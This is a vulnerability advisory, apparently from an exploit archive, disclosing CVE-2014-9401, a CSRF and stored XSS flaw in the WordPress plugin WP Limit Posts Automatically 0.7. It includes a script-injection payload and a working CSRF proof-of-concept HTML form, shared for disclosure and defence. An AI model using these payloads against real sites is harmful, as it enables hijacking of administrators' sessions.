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WordPress WP Limit Posts Automatically 0.7 CSRF / XSS

WordPress WP Limit Posts Automatically 0.7 CSRF / XSS
Posted Dec 18, 2014
Authored by Manideep K

WordPress WP Limit Posts Automatically plugin version 0.7 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2014-9401
MD5 | d7e904ad3b7c3f08a5221ee2c16f2a7d

WordPress WP Limit Posts Automatically 0.7 CSRF / XSS

Change Mirror Download
# Title: CSRF / Stored XSS Vulnerability in WP Limit Posts Automatically Wordpress Plugin 
# Author: Manideep K
# cve-id: CVE-2014-9401
# Plugin Homepage: https://wordpress.org/plugins/wp-limit-posts-automatically/
# Version Affected: 0.7 (probably lower versions)
# Severity: High

# Description:
# Vulnerable Parameter: all text fields to name - lpa_post_letters
# About Vulnerability: This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.
# Vulnerability Class:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS))

Steps to Reproduce: (POC):
After installing the plugin

Stored XSS:
1. Goto settings -> Limit Posts Options
2. Enter this payload – “ "><script>alert(32)</script> “ in any of the text columns. There is no minimum input validation.
3. Save changes and see XSS in action
4. Visit settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=wp-limit-posts-automatically/wp-limit-posts-automatically.php" method="POST">
<input type="hidden" name="lpa_post_wordcut" value="Lettercut" />
<input type="hidden" name="lpa_post_letters" value=" csrf baby" />
<input type="hidden" name="lpa_post_ending" value="hi" />
<input type="hidden" name="lpa_post_linktext" value="hi" />
<input type="hidden" name="submitted" value="yes" />
<input type="hidden" name="Submit" value="Update Options »" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


# Mitigation:
Reported - Not yet fixed

# Disclosure:
2014-11-06: Author notification
2014-11-20: WP Team action taken by closing the plugin as there is no response from author
2014-12-09: Public Disclosure

# Credits:
Manideep K
Information Security Researcher
https://in.linkedin.com/in/manideepk

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